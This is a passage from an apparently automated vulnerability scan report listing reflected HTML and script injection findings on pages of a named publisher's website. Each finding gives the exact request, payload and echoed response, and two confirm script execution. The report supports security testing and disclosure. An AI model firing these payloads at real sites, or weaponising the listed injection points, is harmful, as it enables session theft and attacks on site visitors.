<body id="" class="format-normal page-page news1836f"><a>caf7a9d9ed0 node node-958">
...[SNIP]...

2.183. http://www.rodale.com/news [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/news

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7057e"><a>dd1d23aebcc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /news?7057e"><a>dd1d23aebcc=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:07 GMT
Date: Thu, 10 Mar 2011 17:05:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34977

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/news?7057e"><a>dd1d23aebcc=1" title="Register" class="moreLink">
...[SNIP]...

2.184. http://www.rodale.com/our-board-advisors [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/our-board-advisors

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba43c"><a>691650629db was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /our-board-advisorsba43c"><a>691650629db HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:47 GMT
Date: Thu, 10 Mar 2011 17:07:47 GMT
Content-Length: 22470
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page our-board-advisorsba43c"><a>691650629db node node-958">
...[SNIP]...

2.185. http://www.rodale.com/our-board-advisors [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/our-board-advisors

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4ff3"><a>41e683e2082 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /our-board-advisors?d4ff3"><a>41e683e2082=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:55 GMT
Date: Thu, 10 Mar 2011 17:06:55 GMT
Content-Length: 29887
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/our-board-advisors?d4ff3"><a>41e683e2082=1" title="Register" class="moreLink">
...[SNIP]...

2.186. http://www.rodale.com/our-site-policies [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/our-site-policies

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10e96"><a>b046c7db16b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /our-site-policies10e96"><a>b046c7db16b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:38:01 GMT
Date: Thu, 10 Mar 2011 17:08:02 GMT
Content-Length: 22467
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page our-site-policies10e96"><a>b046c7db16b node node-958">
...[SNIP]...

2.187. http://www.rodale.com/our-site-policies [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/our-site-policies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 643a2"><a>a2b3e6c8fee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /our-site-policies?643a2"><a>a2b3e6c8fee=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:07 GMT
Date: Thu, 10 Mar 2011 17:07:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 47805

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/our-site-policies?643a2"><a>a2b3e6c8fee=1" title="Register" class="moreLink">
...[SNIP]...

2.188. http://www.rodale.com/plastic-bag-ban [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/plastic-bag-ban

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4e09"><a>1960b2b02f8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /plastic-bag-banc4e09"><a>1960b2b02f8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:12 GMT
Date: Thu, 10 Mar 2011 17:06:12 GMT
Content-Length: 22461
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page plastic-bag-banc4e09"><a>1960b2b02f8 node node-958">
...[SNIP]...

2.189. http://www.rodale.com/plastic-bag-ban [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/plastic-bag-ban

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52f3b"><script>alert(1)</script>79010ebe967 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /plastic-bag-ban?52f3b"><script>alert(1)</script>79010ebe967=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:06:11 GMT
Date: Thu, 10 Mar 2011 17:06:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=f2kjnuqirscng4v1t45rk1utd5; path=/; domain=.rodale.com
Content-Length: 48864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/plastic-bag-ban?52f3b"><script>alert(1)</script>79010ebe967=1&title=You+Pay+%2488+a+Year+for+%22Free%22+Plastic+Bags">
...[SNIP]...

2.190. http://www.rodale.com/plastic-free [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/plastic-free

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c182"><a>fa0287626fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /plastic-free7c182"><a>fa0287626fe HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:17 GMT
Date: Thu, 10 Mar 2011 17:06:17 GMT
Content-Length: 22452
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page plastic-free7c182"><a>fa0287626fe node node-958">
...[SNIP]...

2.191. http://www.rodale.com/plastic-free [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/plastic-free

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebe82"><script>alert(1)</script>fcfbf7dc765 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /plastic-free?ebe82"><script>alert(1)</script>fcfbf7dc765=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:06:15 GMT
Date: Thu, 10 Mar 2011 17:06:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=a2j7f8qi6tbk6nmhjq9ofih142; path=/; domain=.rodale.com
Content-Length: 80333

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/plastic-free?ebe82"><script>alert(1)</script>fcfbf7dc765=1&title=Rodale.com%27s+Plastic-Free+February">
...[SNIP]...

2.192. http://www.rodale.com/point-view [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/point-view

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2017e"><a>82d9802df73 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /point-view2017e"><a>82d9802df73 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:39 GMT
Date: Thu, 10 Mar 2011 17:07:39 GMT
Content-Length: 22446
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page point-view2017e"><a>82d9802df73 node node-958">
...[SNIP]...

2.193. http://www.rodale.com/point-view [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/point-view

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 892bb"><a>2a73396ccd3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /point-view?892bb"><a>2a73396ccd3=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:48 GMT
Date: Thu, 10 Mar 2011 17:06:48 GMT
Content-Length: 31942
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/point-view?892bb"><a>2a73396ccd3=1" title="Register" class="moreLink">
...[SNIP]...

2.194. http://www.rodale.com/recipe_query_redirect.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/recipe_query_redirect.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f024"><a>c58bbd69a17 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /recipe_query_redirect.php7f024"><a>c58bbd69a17 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:26 GMT
Date: Thu, 10 Mar 2011 17:07:26 GMT
Content-Length: 22491
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page recipe_query_redirect.php7f024"><a>c58bbd69a17 node node-958">
...[SNIP]...

2.195. http://www.rodale.com/rodale-story [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rodale-story

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e61d"><a>0326caecab4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rodale-story2e61d"><a>0326caecab4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:18 GMT
Date: Thu, 10 Mar 2011 17:07:18 GMT
Content-Length: 22452
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page rodale-story2e61d"><a>0326caecab4 node node-958">
...[SNIP]...

2.196. http://www.rodale.com/rodale_coreg/post [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rodale_coreg/post

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c3b1"><a>7dab2ceffb4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rodale_coreg6c3b1"><a>7dab2ceffb4/post HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:28 GMT
Date: Thu, 10 Mar 2011 17:07:28 GMT
Content-Length: 22503
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page rodale_coreg6c3b1"><a>7dab2ceffb4 rodale_coreg6c3b1">
...[SNIP]...

2.197. http://www.rodale.com/rodale_coreg/post [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rodale_coreg/post

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72b06"><a>65815bf57c9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rodale_coreg/post72b06"><a>65815bf57c9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:01 GMT
Date: Thu, 10 Mar 2011 17:08:01 GMT
Content-Length: 22482
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page rodale_coreg rodale_coreg-post72b06"><a>65815bf57c9 node node-958">
...[SNIP]...

2.198. http://www.rodale.com/rodalecom-team [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rodalecom-team

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31adc"><a>8a1440e7f35 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rodalecom-team31adc"><a>8a1440e7f35 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:46 GMT
Date: Thu, 10 Mar 2011 17:07:46 GMT
Content-Length: 22458
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page rodalecom-team31adc"><a>8a1440e7f35 node node-958">
...[SNIP]...

2.199. http://www.rodale.com/rodalecom-team [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rodalecom-team

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d22ec"><a>9c968f0e2e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rodalecom-team?d22ec"><a>9c968f0e2e2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:56 GMT
Date: Thu, 10 Mar 2011 17:06:56 GMT
Content-Length: 29104
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/rodalecom-team?d22ec"><a>9c968f0e2e2=1" title="Register" class="moreLink">
...[SNIP]...

2.200. http://www.rodale.com/rss-feeds [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rss-feeds

Issue detail

